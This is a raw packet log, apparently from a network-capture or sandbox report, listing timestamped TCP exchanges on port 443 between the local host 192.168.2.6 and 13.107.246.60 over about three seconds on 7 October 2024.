Oct 7, 2024 03:16:27.546610117 CEST	49827	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.546901941 CEST	49827	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.546916962 CEST	443	49827	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.546926022 CEST	49827	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.546931982 CEST	443	49827	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.547327995 CEST	443	49829	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.550009966 CEST	49832	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.550040960 CEST	443	49832	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.550421953 CEST	49829	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.550460100 CEST	49832	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.550488949 CEST	443	49829	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.550607920 CEST	49832	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.550621986 CEST	443	49832	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.550879955 CEST	49829	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.550889015 CEST	443	49829	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.557606936 CEST	443	49830	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.558799028 CEST	49830	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.558809996 CEST	443	49830	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.559192896 CEST	49830	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.559197903 CEST	443	49830	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.576517105 CEST	443	49828	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.576667070 CEST	443	49828	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.576781988 CEST	49828	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.576831102 CEST	49828	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.576848030 CEST	443	49828	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.576858997 CEST	49828	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.576864958 CEST	443	49828	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.579766989 CEST	49833	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.579802990 CEST	443	49833	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.579880953 CEST	49833	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.580034971 CEST	49833	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.580046892 CEST	443	49833	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.651540041 CEST	443	49829	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.651788950 CEST	443	49829	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.651926041 CEST	49829	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.651989937 CEST	49829	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.651989937 CEST	49829	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.652029991 CEST	443	49829	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.652131081 CEST	443	49829	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.655070066 CEST	49834	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.655097008 CEST	443	49834	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.655164957 CEST	49834	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.655297041 CEST	49834	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.655308008 CEST	443	49834	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.665018082 CEST	443	49830	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.665045977 CEST	443	49830	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.665108919 CEST	443	49830	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.665149927 CEST	49830	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.665179014 CEST	49830	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.665281057 CEST	49830	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.665290117 CEST	443	49830	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.665303946 CEST	49830	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.665309906 CEST	443	49830	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.667239904 CEST	49835	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.667274952 CEST	443	49835	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:27.667341948 CEST	49835	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.667460918 CEST	49835	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:27.667476892 CEST	443	49835	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.113264084 CEST	443	49831	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.114223957 CEST	49831	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.114240885 CEST	443	49831	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.114886045 CEST	49831	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.114895105 CEST	443	49831	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.185408115 CEST	443	49832	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.188844919 CEST	49832	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.188873053 CEST	443	49832	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.189446926 CEST	49832	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.189455986 CEST	443	49832	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.213944912 CEST	443	49831	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.214011908 CEST	443	49831	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.214119911 CEST	49831	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.214391947 CEST	49831	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.214407921 CEST	443	49831	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.214423895 CEST	49831	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.214430094 CEST	443	49831	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.217508078 CEST	49836	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.217551947 CEST	443	49836	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.217628002 CEST	49836	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.217793941 CEST	49836	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.217812061 CEST	443	49836	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.260102034 CEST	443	49833	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.264750957 CEST	49833	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.264764071 CEST	443	49833	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.265374899 CEST	49833	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.265378952 CEST	443	49833	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.285139084 CEST	443	49832	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.285342932 CEST	443	49832	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.285424948 CEST	49832	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.285780907 CEST	49832	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.285798073 CEST	443	49832	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.285811901 CEST	49832	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.285816908 CEST	443	49832	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.289407969 CEST	49837	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.289448023 CEST	443	49837	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.289552927 CEST	49837	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.289772987 CEST	49837	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.289788008 CEST	443	49837	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.299381018 CEST	443	49835	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.299789906 CEST	49835	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.299807072 CEST	443	49835	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.300407887 CEST	49835	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.300417900 CEST	443	49835	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.320611954 CEST	443	49834	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.321022034 CEST	49834	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.321031094 CEST	443	49834	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.321444035 CEST	49834	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.321446896 CEST	443	49834	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.366113901 CEST	443	49833	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.366234064 CEST	443	49833	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.366379023 CEST	49833	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.366405010 CEST	49833	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.366417885 CEST	443	49833	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.366426945 CEST	49833	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.366432905 CEST	443	49833	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.369436026 CEST	49838	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.369465113 CEST	443	49838	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.369522095 CEST	49838	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.369649887 CEST	49838	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.369662046 CEST	443	49838	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.398179054 CEST	443	49835	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.398530006 CEST	443	49835	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.398631096 CEST	49835	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.400243998 CEST	49835	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.400243998 CEST	49835	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.400258064 CEST	443	49835	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.400266886 CEST	443	49835	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.401087046 CEST	49839	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.401137114 CEST	443	49839	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.401202917 CEST	49839	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.401324034 CEST	49839	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.401344061 CEST	443	49839	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.422224998 CEST	443	49834	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.422446966 CEST	443	49834	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.422492027 CEST	443	49834	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.422492981 CEST	49834	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.422533989 CEST	49834	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.422573090 CEST	49834	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.422583103 CEST	443	49834	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.422590017 CEST	49834	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.422594070 CEST	443	49834	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.425107956 CEST	49840	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.425156116 CEST	443	49840	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.425226927 CEST	49840	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.425353050 CEST	49840	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.425374985 CEST	443	49840	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.878192902 CEST	443	49836	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.878863096 CEST	49836	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.878895998 CEST	443	49836	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.879544020 CEST	49836	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.879556894 CEST	443	49836	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.955398083 CEST	443	49837	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.960055113 CEST	49837	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.960083008 CEST	443	49837	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.961250067 CEST	49837	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.961261988 CEST	443	49837	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.980772972 CEST	443	49836	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.980921030 CEST	443	49836	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.980988026 CEST	49836	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.981282949 CEST	49836	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.981309891 CEST	443	49836	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.981338024 CEST	49836	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.981347084 CEST	443	49836	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.985481977 CEST	49841	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.985526085 CEST	443	49841	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:28.985593081 CEST	49841	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.985892057 CEST	49841	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:28.985901117 CEST	443	49841	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.040115118 CEST	443	49839	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.040975094 CEST	49839	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.041006088 CEST	443	49839	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.041718960 CEST	49839	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.041727066 CEST	443	49839	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.050338030 CEST	443	49838	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.050957918 CEST	49838	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.050980091 CEST	443	49838	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.051719904 CEST	49838	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.051729918 CEST	443	49838	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.062058926 CEST	443	49837	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.062232971 CEST	443	49837	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.062295914 CEST	49837	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.062433004 CEST	49837	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.062448025 CEST	443	49837	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.062467098 CEST	49837	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.062474012 CEST	443	49837	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.066142082 CEST	49842	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.066168070 CEST	443	49842	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.066267014 CEST	49842	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.066464901 CEST	49842	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.066478968 CEST	443	49842	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.083210945 CEST	443	49840	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.083837986 CEST	49840	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.083873987 CEST	443	49840	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.084476948 CEST	49840	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.084492922 CEST	443	49840	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.139168978 CEST	443	49839	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.139499903 CEST	443	49839	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.139606953 CEST	49839	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.139651060 CEST	49839	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.139672041 CEST	443	49839	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.139684916 CEST	49839	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.139689922 CEST	443	49839	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.143608093 CEST	49843	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.143666983 CEST	443	49843	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.143764019 CEST	49843	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.143956900 CEST	49843	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.143978119 CEST	443	49843	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.155910969 CEST	443	49838	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.156133890 CEST	443	49838	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.156205893 CEST	49838	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.156227112 CEST	443	49838	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.156250000 CEST	443	49838	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.156306982 CEST	49838	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.156357050 CEST	49838	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.156371117 CEST	443	49838	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.156387091 CEST	49838	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.156393051 CEST	443	49838	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.159552097 CEST	49844	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.159595013 CEST	443	49844	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.159686089 CEST	49844	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.159863949 CEST	49844	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.159871101 CEST	443	49844	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.184333086 CEST	443	49840	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.184514999 CEST	443	49840	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.184628963 CEST	49840	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.184840918 CEST	49840	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.184866905 CEST	443	49840	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.184883118 CEST	49840	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.184890985 CEST	443	49840	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.188759089 CEST	49845	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.188802958 CEST	443	49845	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.188885927 CEST	49845	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.189111948 CEST	49845	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.189124107 CEST	443	49845	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.618988037 CEST	443	49841	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.619760036 CEST	49841	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.619780064 CEST	443	49841	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.620426893 CEST	49841	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.620440006 CEST	443	49841	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.717719078 CEST	443	49842	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.717828035 CEST	443	49841	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.717901945 CEST	443	49841	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.717981100 CEST	49841	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.718130112 CEST	49841	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.718152046 CEST	443	49841	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.718163967 CEST	49841	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.718168974 CEST	443	49841	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.718592882 CEST	49842	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.718600988 CEST	443	49842	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.718966961 CEST	49842	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.718971968 CEST	443	49842	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.721851110 CEST	49846	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.721889973 CEST	443	49846	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.721983910 CEST	49846	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.722209930 CEST	49846	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.722225904 CEST	443	49846	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.800448895 CEST	443	49844	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.801171064 CEST	49844	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.801182985 CEST	443	49844	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.801645041 CEST	49844	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.801649094 CEST	443	49844	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.816055059 CEST	443	49843	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.816500902 CEST	49843	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.816533089 CEST	443	49843	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.816811085 CEST	49843	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.816817999 CEST	443	49843	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.823014021 CEST	443	49842	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.823151112 CEST	443	49842	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.823200941 CEST	443	49842	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.823214054 CEST	49842	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.823276997 CEST	49842	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.823388100 CEST	49842	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.823402882 CEST	443	49842	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.823441029 CEST	49842	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.823446035 CEST	443	49842	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.825985909 CEST	443	49845	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.826339960 CEST	49845	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.826364994 CEST	443	49845	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.826709986 CEST	49845	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.826724052 CEST	443	49845	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.826972008 CEST	49847	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.826982975 CEST	443	49847	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.827056885 CEST	49847	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.827222109 CEST	49847	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.827230930 CEST	443	49847	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.898943901 CEST	443	49844	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.899202108 CEST	443	49844	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.899282932 CEST	49844	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.899301052 CEST	443	49844	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.899322033 CEST	443	49844	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.899380922 CEST	49844	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.899456024 CEST	49844	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.899470091 CEST	443	49844	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.899478912 CEST	49844	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.899483919 CEST	443	49844	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.903264046 CEST	49848	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.903309107 CEST	443	49848	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.903425932 CEST	49848	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.903565884 CEST	49848	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.903577089 CEST	443	49848	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.920386076 CEST	443	49843	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.920459986 CEST	443	49843	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.920547962 CEST	49843	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.920788050 CEST	49843	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.920818090 CEST	443	49843	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.920835972 CEST	49843	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.920844078 CEST	443	49843	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.923333883 CEST	49849	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.923372984 CEST	443	49849	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.923475027 CEST	49849	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.923683882 CEST	49849	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.923696041 CEST	443	49849	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.924681902 CEST	443	49845	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.924844980 CEST	443	49845	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.924911022 CEST	49845	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.924969912 CEST	49845	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.924979925 CEST	443	49845	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.924990892 CEST	49845	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.924995899 CEST	443	49845	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.927313089 CEST	49850	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.927321911 CEST	443	49850	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:29.927429914 CEST	49850	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.927603006 CEST	49850	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:29.927613020 CEST	443	49850	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.367882013 CEST	443	49846	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.368668079 CEST	49846	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.368679047 CEST	443	49846	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.369146109 CEST	49846	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.369151115 CEST	443	49846	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.468435049 CEST	443	49846	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.468688011 CEST	443	49846	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.468733072 CEST	443	49846	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:30.468750954 CEST	49846	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:30.468816996 CEST	49846	443	192.168.2.6	13.107.246.60
